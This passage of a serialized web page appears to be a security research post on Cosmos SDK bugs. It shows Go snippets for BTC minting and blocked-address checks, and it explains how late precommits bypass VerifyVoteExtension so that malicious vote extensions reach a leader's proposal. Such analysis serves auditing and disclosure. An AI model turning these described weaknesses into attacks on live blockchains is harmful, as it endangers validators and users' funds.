recipient",{"type":26,"tag":475,"props":81777,"children":81778},{"style":499},[81779],{"type":32,"value":637},{"type":26,"tag":475,"props":81781,"children":81782},{"style":2375},[81783],{"type":32,"value":48113},{"type":26,"tag":475,"props":81785,"children":81786},{"style":714},[81787],{"type":32,"value":76045},{"type":26,"tag":475,"props":81789,"children":81790},{"style":2375},[81791],{"type":32,"value":78270},{"type":26,"tag":475,"props":81793,"children":81794},{"style":499},[81795],{"type":32,"value":353},{"type":26,"tag":475,"props":81797,"children":81798},{"style":493},[81799],{"type":32,"value":81800},"AccAddressFromBech32",{"type":26,"tag":475,"props":81802,"children":81803},{"style":499},[81804],{"type":32,"value":626},{"type":26,"tag":475,"props":81806,"children":81807},{"style":2375},[81808],{"type":32,"value":81750},{"type":26,"tag":475,"props":81810,"children":81811},{"style":499},[81812],{"type":32,"value":353},{"type":26,"tag":475,"props":81814,"children":81815},{"style":2375},[81816],{"type":32,"value":81817},"Recipient",{"type":26,"tag":475,"props":81819,"children":81820},{"style":499},[81821],{"type":32,"value":647},{"type":26,"tag":475,"props":81823,"children":81824},{"class":477,"line":913},[81825,81829,81833,81837,81841],{"type":26,"tag":475,"props":81826,"children":81827},{"style":586},[81828],{"type":32,"value":2980},{"type":26,"tag":475,"props":81830,"children":81831},{"style":2375},[81832],{"type":32,"value":48214},{"type":26,"tag":475,"props":81834,"children":81835},{"style":714},[81836],{"type":32,"value":64079},{"type":26,"tag":475,"props":81838,"children":81839},{"style":482},[81840],{"type":32,"value":81540},{"type":26,"tag":475,"props":81842,"children":81843},{"style":499},[81844],{"type":32,"value":579},{"type":26,"tag":475,"props":81846,"children":81847},{"class":477,"line":926},[81848,81852,81857,81861,81865,81869,81874,81878,81882],{"type":26,"tag":475,"props":81849,"children":81850},{"style":586},[81851],{"type":32,"value":78705},{"type":26,"tag":475,"props":81853,"children":81854},{"style":2375},[81855],{"type":32,"value":81856}," fmt",{"type":26,"tag":475,"props":81858,"children":81859},{"style":499},[81860],{"type":32,"value":353},{"type":26,"tag":475,"props":81862,"children":81863},{"style":493},[81864],{"type":32,"value":81573},{"type":26,"tag":475,"props":81866,"children":81867},{"style":499},[81868],{"type":32,"value":626},{"type":26,"tag":475,"props":81870,"children":81871},{"style":629},[81872],{"type":32,"value":81873},"\"failed to parse recipient address: %w\"",{"type":26,"tag":475,"props":81875,"children":81876},{"style":499},[81877],{"type":32,"value":637},{"type":26,"tag":475,"props":81879,"children":81880},{"style":2375},[81881],{"type":32,"value":48113},{"type":26,"tag":475,"props":81883,"children":81884},{"style":499},[81885],{"type":32,"value":647},{"type":26,"tag":475,"props":81887,"children":81888},{"class":477,"line":948},[81889],{"type":26,"tag":475,"props":81890,"children":81891},{"style":499},[81892],{"type":32,"value":750},{"type":26,"tag":475,"props":81894,"children":81895},{"class":477,"line":966},[81896],{"type":26,"tag":475,"props":81897,"children":81898},{"emptyLinePlaceholder":18},[81899],{"type":32,"value":545},{"type":26,"tag":475,"props":81901,"children":81902},{"class":477,"line":979},[81903,81907,81912,81916,81921,81925,81929,81933,81938,81942,81947],{"type":26,"tag":475,"props":81904,"children":81905},{"style":586},[81906],{"type":32,"value":2980},{"type":26,"tag":475,"props":81908,"children":81909},{"style":2375},[81910],{"type":32,"value":81911}," bytes",{"type":26,"tag":475,"props":81913,"children":81914},{"style":499},[81915],{"type":32,"value":353},{"type":26,"tag":475,"props":81917,"children":81918},{"style":493},[81919],{"type":32,"value":81920},"Equal",{"type":26,"tag":475,"props":81922,"children":81923},{"style":499},[81924],{"type":32,"value":626},{"type":26,"tag":475,"props":81926,"children":81927},{"style":2375},[81928],{"type":32,"value":81750},{"type":26,"tag":475,"props":81930,"children":81931},{"style":499},[81932],{"type":32,"value":353},{"type":26,"tag":475,"props":81934,"children":81935},{"style":493},[81936],{"type":32,"value":81937},"TokenBytes",{"type":26,"tag":475,"props":81939,"children":81940},{"style":499},[81941],{"type":32,"value":18083},{"type":26,"tag":475,"props":81943,"children":81944},{"style":2375},[81945],{"type":32,"value":81946},"sourceBTCToken",{"type":26,"tag":475,"props":81948,"children":81949},{"style":499},[81950],{"type":32,"value":676},{"type":26,"tag":475,"props":81952,"children":81953},{"class":477,"line":1006},[81954,81959,81963,81967,81971,81976,81980,81984,81988,81992,81996,82000,82004,82008],{"type":26,"tag":475,"props":81955,"children":81956},{"style":2375},[81957],{"type":32,"value":81958}," err",{"type":26,"tag":475,"props":81960,"children":81961},{"style":714},[81962],{"type":32,"value":2383},{"type":26,"tag":475,"props":81964,"children":81965},{"style":2375},[81966],{"type":32,"value":80878},{"type":26,"tag":475,"props":81968,"children":81969},{"style":499},[81970],{"type":32,"value":353},{"type":26,"tag":475,"props":81972,"children":81973},{"style":493},[81974],{"type":32,"value":81975},"mintBTC",{"type":26,"tag":475,"props":81977,"children":81978},{"style":499},[81979],{"type":32,"value":626},{"type":26,"tag":475,"props":81981,"children":81982},{"style":2375},[81983],{"type":32,"value":19988},{"type":26,"tag":475,"props":81985,"children":81986},{"style":499},[81987],{"type":32,"value":637},{"type":26,"tag":475,"props":81989,"children":81990},{"style":2375},[81991],{"type":32,"value":81273},{"type":26,"tag":475,"props":81993,"children":81994},{"style":499},[81995],{"type":32,"value":637},{"type":26,"tag":475,"props":81997,"children":81998},{"style":2375},[81999],{"type":32,"value":81750},{"type":26,"tag":475,"props":82001,"children":82002},{"style":499},[82003],{"type":32,"value":353},{"type":26,"tag":475,"props":82005,"children":82006},{"style":2375},[82007],{"type":32,"value":78684},{"type":26,"tag":475,"props":82009,"children":82010},{"style":499},[82011],{"type":32,"value":647},{"type":26,"tag":475,"props":82013,"children":82014},{"class":477,"line":1046},[82015,82019,82023,82027,82031],{"type":26,"tag":475,"props":82016,"children":82017},{"style":586},[82018],{"type":32,"value":58493},{"type":26,"tag":475,"props":82020,"children":82021},{"style":2375},[82022],{"type":32,"value":48214},{"type":26,"tag":475,"props":82024,"children":82025},{"style":714},[82026],{"type":32,"value":64079},{"type":26,"tag":475,"props":82028,"children":82029},{"style":482},[82030],{"type":32,"value":81540},{"type":26,"tag":475,"props":82032,"children":82033},{"style":499},[82034],{"type":32,"value":579},{"type":26,"tag":475,"props":82036,"children":82037},{"class":477,"line":1068},[82038,82042,82046,82050,82054],{"type":26,"tag":475,"props":82039,"children":82040},{"style":586},[82041],{"type":32,"value":60420},{"type":26,"tag":475,"props":82043,"children":82044},{"style":2375},[82045],{"type":32,"value":81856},{"type":26,"tag":475,"props":82047,"children":82048},{"style":499},[82049],{"type":32,"value":353},{"type":26,"tag":475,"props":82051,"children":82052},{"style":493},[82053],{"type":32,"value":81573},{"type":26,"tag":475,"props":82055,"children":82056},{"style":499},[82057],{"type":32,"value":3169},{"type":26,"tag":475,"props":82059,"children":82060},{"class":477,"line":1077},[82061,82066],{"type":26,"tag":475,"props":82062,"children":82063},{"style":629},[82064],{"type":32,"value":82065}," \"failed to mint BTC for event %v: %w\"",{"type":26,"tag":475,"props":82067,"children":82068},{"style":499},[82069],{"type":32,"value":2425},{"type":26,"tag":475,"props":82071,"children":82072},{"class":477,"line":1090},[82073,82078,82082,82087],{"type":26,"tag":475,"props":82074,"children":82075},{"style":2375},[82076],{"type":32,"value":82077}," event",{"type":26,"tag":475,"props":82079,"children":82080},{"style":499},[82081],{"type":32,"value":353},{"type":26,"tag":475,"props":82083,"children":82084},{"style":2375},[82085],{"type":32,"value":82086},"Sequence",{"type":26,"tag":475,"props":82088,"children":82089},{"style":499},[82090],{"type":32,"value":2425},{"type":26,"tag":475,"props":82092,"children":82093},{"class":477,"line":1119},[82094,82099],{"type":26,"tag":475,"props":82095,"children":82096},{"style":2375},[82097],{"type":32,"value":82098}," err",{"type":26,"tag":475,"props":82100,"children":82101},{"style":499},[82102],{"type":32,"value":2425},{"type":26,"tag":475,"props":82104,"children":82105},{"class":477,"line":1132},[82106],{"type":26,"tag":475,"props":82107,"children":82108},{"style":499},[82109],{"type":32,"value":82110}," )\n",{"type":26,"tag":475,"props":82112,"children":82113},{"class":477,"line":1146},[82114],{"type":26,"tag":475,"props":82115,"children":82116},{"style":499},[82117],{"type":32,"value":741},{"type":26,"tag":475,"props":82119,"children":82120},{"class":477,"line":1155},[82121,82125,82129],{"type":26,"tag":475,"props":82122,"children":82123},{"style":499},[82124],{"type":32,"value":3018},{"type":26,"tag":475,"props":82126,"children":82127},{"style":586},[82128],{"type":32,"value":3023},{"type":26,"tag":475,"props":82130,"children":82131},{"style":499},[82132],{"type":32,"value":579},{"type":26,"tag":475,"props":82134,"children":82135},{"class":477,"line":1163},[82136],{"type":26,"tag":475,"props":82137,"children":82138},{"style":714},[82139],{"type":32,"value":82140}," ...\n",{"type":26,"tag":475,"props":82142,"children":82143},{"class":477,"line":1172},[82144],{"type":26,"tag":475,"props":82145,"children":82146},{"style":499},[82147],{"type":32,"value":750},{"type":26,"tag":475,"props":82149,"children":82150},{"class":477,"line":1181},[82151],{"type":26,"tag":475,"props":82152,"children":82153},{"style":499},[82154],{"type":32,"value":851},{"type":26,"tag":475,"props":82156,"children":82157},{"class":477,"line":1189},[82158],{"type":26,"tag":475,"props":82159,"children":82160},{"style":714},[82161],{"type":32,"value":20047},{"type":26,"tag":475,"props":82163,"children":82164},{"class":477,"line":1221},[82165],{"type":26,"tag":475,"props":82166,"children":82167},{"style":499},[82168],{"type":32,"value":3607},{"type":26,"tag":475,"props":82170,"children":82171},{"class":477,"line":1848},[82172],{"type":26,"tag":475,"props":82173,"children":82174},{"emptyLinePlaceholder":18},[82175],{"type":32,"value":545},{"type":26,"tag":475,"props":82177,"children":82178},{"class":477,"line":1857},[82179,82183,82187,82191,82195,82199,82203],{"type":26,"tag":475,"props":82180,"children":82181},{"style":482},[82182],{"type":32,"value":75929},{"type":26,"tag":475,"props":82184,"children":82185},{"style":499},[82186],{"type":32,"value":2775},{"type":26,"tag":475,"props":82188,"children":82189},{"style":2375},[82190],{"type":32,"value":80750},{"type":26,"tag":475,"props":82192,"children":82193},{"style":505},[82194],{"type":32,"value":79574},{"type":26,"tag":475,"props":82196,"children":82197},{"style":499},[82198],{"type":32,"value":2794},{"type":26,"tag":475,"props":82200,"children":82201},{"style":493},[82202],{"type":32,"value":81975},{"type":26,"tag":475,"props":82204,"children":82205},{"style":499},[82206],{"type":32,"value":3169},{"type":26,"tag":475,"props":82208,"children":82209},{"class":477,"line":1866},[82210,82214,82218,82222,82226],{"type":26,"tag":475,"props":82211,"children":82212},{"style":2375},[82213],{"type":32,"value":19931},{"type":26,"tag":475,"props":82215,"children":82216},{"style":505},[82217],{"type":32,"value":78270},{"type":26,"tag":475,"props":82219,"children":82220},{"style":499},[82221],{"type":32,"value":353},{"type":26,"tag":475,"props":82223,"children":82224},{"style":505},[82225],{"type":32,"value":75978},{"type":26,"tag":475,"props":82227,"children":82228},{"style":499},[82229],{"type":32,"value":2425},{"type":26,"tag":475,"props":82231,"children":82232},{"class":477,"line":1875},[82233,82238,82242,82246,82251],{"type":26,"tag":475,"props":82234,"children":82235},{"style":2375},[82236],{"type":32,"value":82237}," recipient",{"type":26,"tag":475,"props":82239,"children":82240},{"style":505},[82241],{"type":32,"value":78270},{"type":26,"tag":475,"props":82243,"children":82244},{"style":499},[82245],{"type":32,"value":353},{"type":26,"tag":475,"props":82247,"children":82248},{"style":505},[82249],{"type":32,"value":82250},"AccAddress",{"type":26,"tag":475,"props":82252,"children":82253},{"style":499},[82254],{"type":32,"value":2425},{"type":26,"tag":475,"props":82256,"children":82257},{"class":477,"line":1883},[82258,82262,82267,82271,82276],{"type":26,"tag":475,"props":82259,"children":82260},{"style":2375},[82261],{"type":32,"value":61274},{"type":26,"tag":475,"props":82263,"children":82264},{"style":505},[82265],{"type":32,"value":82266}," math",{"type":26,"tag":475,"props":82268,"children":82269},{"style":499},[82270],{"type":32,"value":353},{"type":26,"tag":475,"props":82272,"children":82273},{"style":505},[82274],{"type":32,"value":82275},"Int",{"type":26,"tag":475,"props":82277,"children":82278},{"style":499},[82279],{"type":32,"value":2425},{"type":26,"tag":475,"props":82281,"children":82282},{"class":477,"line":1892},[82283,82287,82291],{"type":26,"tag":475,"props":82284,"children":82285},{"style":499},[82286],{"type":32,"value":2794},{"type":26,"tag":475,"props":82288,"children":82289},{"style":505},[82290],{"type":32,"value":14569},{"type":26,"tag":475,"props":82292,"children":82293},{"style":499},[82294],{"type":32,"value":579},{"type":26,"tag":475,"props":82296,"children":82297},{"class":477,"line":1901},[82298],{"type":26,"tag":475,"props":82299,"children":82300},{"style":714},[82301],{"type":32,"value":20047},{"type":26,"tag":475,"props":82303,"children":82304},{"class":477,"line":1910},[82305,82310,82314,82318,82322,82327,82331,82335],{"type":26,"tag":475,"props":82306,"children":82307},{"style":2375},[82308],{"type":32,"value":82309}," err",{"type":26,"tag":475,"props":82311,"children":82312},{"style":714},[82313],{"type":32,"value":2383},{"type":26,"tag":475,"props":82315,"children":82316},{"style":2375},[82317],{"type":32,"value":80878},{"type":26,"tag":475,"props":82319,"children":82320},{"style":499},[82321],{"type":32,"value":353},{"type":26,"tag":475,"props":82323,"children":82324},{"style":2375},[82325],{"type":32,"value":82326},"bankKeeper",{"type":26,"tag":475,"props":82328,"children":82329},{"style":499},[82330],{"type":32,"value":353},{"type":26,"tag":475,"props":82332,"children":82333},{"style":493},[82334],{"type":32,"value":81265},{"type":26,"tag":475,"props":82336,"children":82337},{"style":499},[82338],{"type":32,"value":3169},{"type":26,"tag":475,"props":82340,"children":82341},{"class":477,"line":1919},[82342,82346],{"type":26,"tag":475,"props":82343,"children":82344},{"style":2375},[82345],{"type":32,"value":25887},{"type":26,"tag":475,"props":82347,"children":82348},{"style":499},[82349],{"type":32,"value":2425},{"type":26,"tag":475,"props":82351,"children":82352},{"class":477,"line":1927},[82353,82358,82362,82367],{"type":26,"tag":475,"props":82354,"children":82355},{"style":2375},[82356],{"type":32,"value":82357}," types",{"type":26,"tag":475,"props":82359,"children":82360},{"style":499},[82361],{"type":32,"value":353},{"type":26,"tag":475,"props":82363,"children":82364},{"style":2375},[82365],{"type":32,"value":82366},"ModuleName",{"type":26,"tag":475,"props":82368,"children":82369},{"style":499},[82370],{"type":32,"value":2425},{"type":26,"tag":475,"props":82372,"children":82373},{"class":477,"line":1936},[82374,82378],{"type":26,"tag":475,"props":82375,"children":82376},{"style":2375},[82377],{"type":32,"value":81775},{"type":26,"tag":475,"props":82379,"children":82380},{"style":499},[82381],{"type":32,"value":2425},{"type":26,"tag":475,"props":82383,"children":82384},{"class":477,"line":1945},[82385,82390],{"type":26,"tag":475,"props":82386,"children":82387},{"style":2375},[82388],{"type":32,"value":82389}," coins",{"type":26,"tag":475,"props":82391,"children":82392},{"style":499},[82393],{"type":32,"value":2425},{"type":26,"tag":475,"props":82395,"children":82396},{"class":477,"line":1967},[82397],{"type":26,"tag":475,"props":82398,"children":82399},{"style":499},[82400],{"type":32,"value":23620},{"type":26,"tag":475,"props":82402,"children":82403},{"class":477,"line":1976},[82404,82408,82412,82416,82420],{"type":26,"tag":475,"props":82405,"children":82406},{"style":586},[82407],{"type":32,"value":11988},{"type":26,"tag":475,"props":82409,"children":82410},{"style":2375},[82411],{"type":32,"value":48214},{"type":26,"tag":475,"props":82413,"children":82414},{"style":714},[82415],{"type":32,"value":64079},{"type":26,"tag":475,"props":82417,"children":82418},{"style":482},[82419],{"type":32,"value":81540},{"type":26,"tag":475,"props":82421,"children":82422},{"style":499},[82423],{"type":32,"value":579},{"type":26,"tag":475,"props":82425,"children":82426},{"class":477,"line":1984},[82427,82431,82435,82439,82443,82447,82452,82456,82460],{"type":26,"tag":475,"props":82428,"children":82429},{"style":586},[82430],{"type":32,"value":15449},{"type":26,"tag":475,"props":82432,"children":82433},{"style":2375},[82434],{"type":32,"value":81856},{"type":26,"tag":475,"props":82436,"children":82437},{"style":499},[82438],{"type":32,"value":353},{"type":26,"tag":475,"props":82440,"children":82441},{"style":493},[82442],{"type":32,"value":81573},{"type":26,"tag":475,"props":82444,"children":82445},{"style":499},[82446],{"type":32,"value":626},{"type":26,"tag":475,"props":82448,"children":82449},{"style":629},[82450],{"type":32,"value":82451},"\"failed to send coins: %w\"",{"type":26,"tag":475,"props":82453,"children":82454},{"style":499},[82455],{"type":32,"value":637},{"type":26,"tag":475,"props":82457,"children":82458},{"style":2375},[82459],{"type":32,"value":48113},{"type":26,"tag":475,"props":82461,"children":82462},{"style":499},[82463],{"type":32,"value":647},{"type":26,"tag":475,"props":82465,"children":82466},{"class":477,"line":1992},[82467],{"type":26,"tag":475,"props":82468,"children":82469},{"style":499},[82470],{"type":32,"value":851},{"type":26,"tag":475,"props":82472,"children":82473},{"class":477,"line":2004},[82474],{"type":26,"tag":475,"props":82475,"children":82476},{"style":714},[82477],{"type":32,"value":20047},{"type":26,"tag":475,"props":82479,"children":82480},{"class":477,"line":2029},[82481],{"type":26,"tag":475,"props":82482,"children":82483},{"style":499},[82484],{"type":32,"value":3607},{"type":26,"tag":465,"props":82486,"children":82488},{"code":82487,"language":75793,"meta":7,"className":75794,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[82489],{"type":26,"tag":53,"props":82490,"children":82491},{"__ignoreMap":7},[82492,82524,82603,82618,82626,82657,82715,82722,82729],{"type":26,"tag":475,"props":82493,"children":82494},{"class":477,"line":478},[82495,82499,82503,82507,82512,82516,82520],{"type":26,"tag":475,"props":82496,"children":82497},{"style":482},[82498],{"type":32,"value":75929},{"type":26,"tag":475,"props":82500,"children":82501},{"style":499},[82502],{"type":32,"value":2775},{"type":26,"tag":475,"props":82504,"children":82505},{"style":2375},[82506],{"type":32,"value":80750},{"type":26,"tag":475,"props":82508,"children":82509},{"style":505},[82510],{"type":32,"value":82511},"BaseKeeper",{"type":26,"tag":475,"props":82513,"children":82514},{"style":499},[82515],{"type":32,"value":2794},{"type":26,"tag":475,"props":82517,"children":82518},{"style":493},[82519],{"type":32,"value":81265},{"type":26,"tag":475,"props":82521,"children":82522},{"style":499},[82523],{"type":32,"value":3169},{"type":26,"tag":475,"props":82525,"children":82526},{"class":477,"line":516},[82527,82531,82535,82539,82543,82547,82552,82556,82560,82565,82569,82573,82577,82581,82586,82590,82594,82599],{"type":26,"tag":475,"props":82528,"children":82529},{"style":2375},[82530],{"type":32,"value":25544},{"type":26,"tag":475,"props":82532,"children":82533},{"style":505},[82534],{"type":32,"value":75969},{"type":26,"tag":475,"props":82536,"children":82537},{"style":499},[82538],{"type":32,"value":353},{"type":26,"tag":475,"props":82540,"children":82541},{"style":505},[82542],{"type":32,"value":75978},{"type":26,"tag":475,"props":82544,"children":82545},{"style":499},[82546],{"type":32,"value":637},{"type":26,"tag":475,"props":82548,"children":82549},{"style":2375},[82550],{"type":32,"value":82551},"senderModule",{"type":26,"tag":475,"props":82553,"children":82554},{"style":505},[82555],{"type":32,"value":35725},{"type":26,"tag":475,"props":82557,"children":82558},{"style":499},[82559],{"type":32,"value":637},{"type":26,"tag":475,"props":82561,"children":82562},{"style":2375},[82563],{"type":32,"value":82564},"recipientAddr",{"type":26,"tag":475,"props":82566,"children":82567},{"style":505},[82568],{"type":32,"value":78270},{"type":26,"tag":475,"props":82570,"children":82571},{"style":499},[82572],{"type":32,"value":353},{"type":26,"tag":475,"props":82574,"children":82575},{"style":505},[82576],{"type":32,"value":82250},{"type":26,"tag":475,"props":82578,"children":82579},{"style":499},[82580],{"type":32,"value":637},{"type":26,"tag":475,"props":82582,"children":82583},{"style":2375},[82584],{"type":32,"value":82585},"amt",{"type":26,"tag":475,"props":82587,"children":82588},{"style":505},[82589],{"type":32,"value":78270},{"type":26,"tag":475,"props":82591,"children":82592},{"style":499},[82593],{"type":32,"value":353},{"type":26,"tag":475,"props":82595,"children":82596},{"style":505},[82597],{"type":32,"value":82598},"Coins",{"type":26,"tag":475,"props":82600,"children":82601},{"style":499},[82602],{"type":32,"value":2425},{"type":26,"tag":475,"props":82604,"children":82605},{"class":477,"line":539},[82606,82610,82614],{"type":26,"tag":475,"props":82607,"children":82608},{"style":499},[82609],{"type":32,"value":2794},{"type":26,"tag":475,"props":82611,"children":82612},{"style":505},[82613],{"type":32,"value":14569},{"type":26,"tag":475,"props":82615,"children":82616},{"style":499},[82617],{"type":32,"value":579},{"type":26,"tag":475,"props":82619,"children":82620},{"class":477,"line":548},[82621],{"type":26,"tag":475,"props":82622,"children":82623},{"style":714},[82624],{"type":32,"value":82625}," ...\n",{"type":26,"tag":475,"props":82627,"children":82628},{"class":477,"line":558},[82629,82633,82637,82641,82645,82649,82653],{"type":26,"tag":475,"props":82630,"children":82631},{"style":586},[82632],{"type":32,"value":15493},{"type":26,"tag":475,"props":82634,"children":82635},{"style":2375},[82636],{"type":32,"value":80878},{"type":26,"tag":475,"props":82638,"children":82639},{"style":499},[82640],{"type":32,"value":353},{"type":26,"tag":475,"props":82642,"children":82643},{"style":493},[82644],{"type":32,"value":81281},{"type":26,"tag":475,"props":82646,"children":82647},{"style":499},[82648],{"type":32,"value":626},{"type":26,"tag":475,"props":82650,"children":82651},{"style":2375},[82652],{"type":32,"value":82564},{"type":26,"tag":475,"props":82654,"children":82655},{"style":499},[82656],{"type":32,"value":676},{"type":26,"tag":475,"props":82658,"children":82659},{"class":477,"line":582},[82660,82664,82669,82673,82677,82681,82685,82689,82694,82698,82703,82707,82711],{"type":26,"tag":475,"props":82661,"children":82662},{"style":586},[82663],{"type":32,"value":38891},{"type":26,"tag":475,"props":82665,"children":82666},{"style":2375},[82667],{"type":32,"value":82668}," errorsmod",{"type":26,"tag":475,"props":82670,"children":82671},{"style":499},[82672],{"type":32,"value":353},{"type":26,"tag":475,"props":82674,"children":82675},{"style":493},[82676],{"type":32,"value":80539},{"type":26,"tag":475,"props":82678,"children":82679},{"style":499},[82680],{"type":32,"value":626},{"type":26,"tag":475,"props":82682,"children":82683},{"style":2375},[82684],{"type":32,"value":80201},{"type":26,"tag":475,"props":82686,"children":82687},{"style":499},[82688],{"type":32,"value":353},{"type":26,"tag":475,"props":82690,"children":82691},{"style":2375},[82692],{"type":32,"value":82693},"ErrUnauthorized",{"type":26,"tag":475,"props":82695,"children":82696},{"style":499},[82697],{"type":32,"value":637},{"type":26,"tag":475,"props":82699,"children":82700},{"style":629},[82701],{"type":32,"value":82702},"\"%s is not allowed to receive funds\"",{"type":26,"tag":475,"props":82704,"children":82705},{"style":499},[82706],{"type":32,"value":637},{"type":26,"tag":475,"props":82708,"children":82709},{"style":2375},[82710],{"type":32,"value":82564},{"type":26,"tag":475,"props":82712,"children":82713},{"style":499},[82714],{"type":32,"value":647},{"type":26,"tag":475,"props":82716,"children":82717},{"class":477,"line":596},[82718],{"type":26,"tag":475,"props":82719,"children":82720},{"style":499},[82721],{"type":32,"value":1116},{"type":26,"tag":475,"props":82723,"children":82724},{"class":477,"line":610},[82725],{"type":26,"tag":475,"props":82726,"children":82727},{"style":714},[82728],{"type":32,"value":82625},{"type":26,"tag":475,"props":82730,"children":82731},{"class":477,"line":650},[82732],{"type":26,"tag":475,"props":82733,"children":82734},{"style":499},[82735],{"type":32,"value":3607},{"type":26,"tag":35,"props":82737,"children":82738},{},[82739,82741,82748],{"type":32,"value":82740},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":26,"tag":116,"props":82742,"children":82745},{"href":82743,"rel":82744},"https://hackerone.com/reports/3018307",[120],[82746],{"type":32,"value":82747},"improper decimal handling in the group module",{"type":32,"value":353},{"type":26,"tag":27,"props":82750,"children":82752},{"id":82751},"same-same-but-different",[82753],{"type":32,"value":82754},"Same, Same... But Different",{"type":26,"tag":35,"props":82756,"children":82757},{},[82758,82760,82766,82767,82773,82774,82780,82781,82787],{"type":32,"value":82759},"Cosmos exposes several consensus-level interfaces, such as ",{"type":26,"tag":53,"props":82761,"children":82763},{"className":82762},[],[82764],{"type":32,"value":82765},"PrepareProposal",{"type":32,"value":637},{"type":26,"tag":53,"props":82768,"children":82770},{"className":82769},[],[82771],{"type":32,"value":82772},"ProcessProposal",{"type":32,"value":637},{"type":26,"tag":53,"props":82775,"children":82777},{"className":82776},[],[82778],{"type":32,"value":82779},"ExtendVote",{"type":32,"value":6201},{"type":26,"tag":53,"props":82782,"children":82784},{"className":82783},[],[82785],{"type":32,"value":82786},"VerifyVoteExtension",{"type":32,"value":82788},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":26,"tag":35,"props":82790,"children":82791},{},[82792],{"type":32,"value":82793},"Two of the best-known attack surfaces are",{"type":26,"tag":181,"props":82795,"children":82796},{},[82797,82826],{"type":26,"tag":86,"props":82798,"children":82799},{},[82800,82805,82806,82811,82813,82818,82819,82824],{"type":26,"tag":53,"props":82801,"children":82803},{"className":82802},[],[82804],{"type":32,"value":82765},{"type":32,"value":2775},{"type":26,"tag":53,"props":82807,"children":82809},{"className":82808},[],[82810],{"type":32,"value":82779},{"type":32,"value":82812},") outputs being rejected due to ",{"type":26,"tag":53,"props":82814,"children":82816},{"className":82815},[],[82817],{"type":32,"value":82772},{"type":32,"value":2775},{"type":26,"tag":53,"props":82820,"children":82822},{"className":82821},[],[82823],{"type":32,"value":82786},{"type":32,"value":82825},") over-validating, resulting in liveness failures.",{"type":26,"tag":86,"props":82827,"children":82828},{},[82829,82831,82836,82837,82842,82844,82849,82850,82855],{"type":32,"value":82830},"Malicious proposals and vote extensions not created through the ",{"type":26,"tag":53,"props":82832,"children":82834},{"className":82833},[],[82835],{"type":32,"value":82765},{"type":32,"value":2775},{"type":26,"tag":53,"props":82838,"children":82840},{"className":82839},[],[82841],{"type":32,"value":82779},{"type":32,"value":82843},") are accepted due to ",{"type":26,"tag":53,"props":82845,"children":82847},{"className":82846},[],[82848],{"type":32,"value":82772},{"type":32,"value":2775},{"type":26,"tag":53,"props":82851,"children":82853},{"className":82852},[],[82854],{"type":32,"value":82786},{"type":32,"value":82856},") under-validating.",{"type":26,"tag":35,"props":82858,"children":82859},{},[82860],{"type":32,"value":82861},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":26,"tag":35,"props":82863,"children":82864},{},[82865,82867,82873,82875,82880],{"type":32,"value":82866},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":26,"tag":53,"props":82868,"children":82870},{"className":82869},[],[82871],{"type":32,"value":82872},"VoteExtensions",{"type":32,"value":82874}," within ",{"type":26,"tag":53,"props":82876,"children":82878},{"className":82877},[],[82879],{"type":32,"value":82765},{"type":32,"value":82881},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":26,"tag":35,"props":82883,"children":82884},{},[82885,82887,82892,82894,82899],{"type":32,"value":82886},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":26,"tag":53,"props":82888,"children":82890},{"className":82889},[],[82891],{"type":32,"value":82779},{"type":32,"value":82893}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":26,"tag":53,"props":82895,"children":82897},{"className":82896},[],[82898],{"type":32,"value":82786},{"type":32,"value":82900},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":26,"tag":35,"props":82902,"children":82903},{},[82904,82906,82911],{"type":32,"value":82905},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":26,"tag":53,"props":82907,"children":82909},{"className":82908},[],[82910],{"type":32,"value":82786},{"type":32,"value":82912}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":26,"tag":35,"props":82914,"children":82915},{},[82916,82918,82923,82925,82931],{"type":32,"value":82917},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":26,"tag":53,"props":82919,"children":82921},{"className":82920},[],[82922],{"type":32,"value":82786},{"type":32,"value":82924},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":26,"tag":53,"props":82926,"children":82928},{"className":82927},[],[82929],{"type":32,"value":82930},"Proposal",{"type":32,"value":353},{"type":26,"tag":465,"props":82933,"children":82935},{"code":82934,"language":75793,"meta":7,"className":75794,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n ...\n\n // A precommit for the previous height?\n // These come in while we wait timeoutCommit\n if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n ...\n // Late precommits are not checked by VerifyVoteExtension\n added, err = cs.LastCommit.AddVote(vote)\n ...\n return added, err\n }\n extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n if extEnabled {\n ...\n if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n ...\n err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n ...\n }\n } else if {\n ...\n }\n 